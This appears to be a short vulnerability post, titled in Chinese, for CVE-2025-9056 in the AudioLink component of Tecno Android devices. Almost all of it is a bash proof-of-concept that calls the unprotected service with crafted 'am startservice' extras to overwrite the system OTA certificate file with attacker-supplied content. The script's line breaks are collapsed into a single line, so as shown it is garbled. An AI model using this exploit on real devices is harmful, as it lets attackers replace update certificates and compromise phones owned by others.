AudioLink组件未授权服务调用导致本地系统文件覆盖漏洞(CVE-2025-9056)

#!/bin/bash # CVE-2025-9056 PoC - AudioLink Unprotected Service Exploitation # Target: Tecno devices with vulnerable AudioLink component VULNERABLE_SERVICE="com.tecno.audio.AudioLinkService" TARGET_FILE="/system/etc/security/otacerts.zip" MALICIOUS_CONTENT="/data/local/tmp/malicious_cert.zip" echo "[*] CVE-2025-9056 AudioLink Service Exploitation" echo "[*] Target: $TARGET_FILE" # Step 1: Prepare malicious file content cat > $MALICIOUS_CONTENT << 'EOF' # Malicious payload - replace system certificates # This demonstrates arbitrary file overwrite capability malicious_data EOF echo "[+] Step 1: Malicious content prepared" # Step 2: Invoke AudioLink service with crafted request # The vulnerable service accepts requests without authentication am startservice --user 0 \ -n $VULNERABLE_SERVICE \ --ez write_file true \ --es target_path $TARGET_FILE \ --es source_path $MALICIOUS_CONTENT echo "[+] Step 2: Service invocation sent" # Step 3: Verify file overwrite (for demonstration) if [ -f "$TARGET_FILE" ]; then echo "[!] File exists - overwrite may have succeeded" ls -la $TARGET_FILE fi echo "[*] Exploitation complete. System files may be compromised."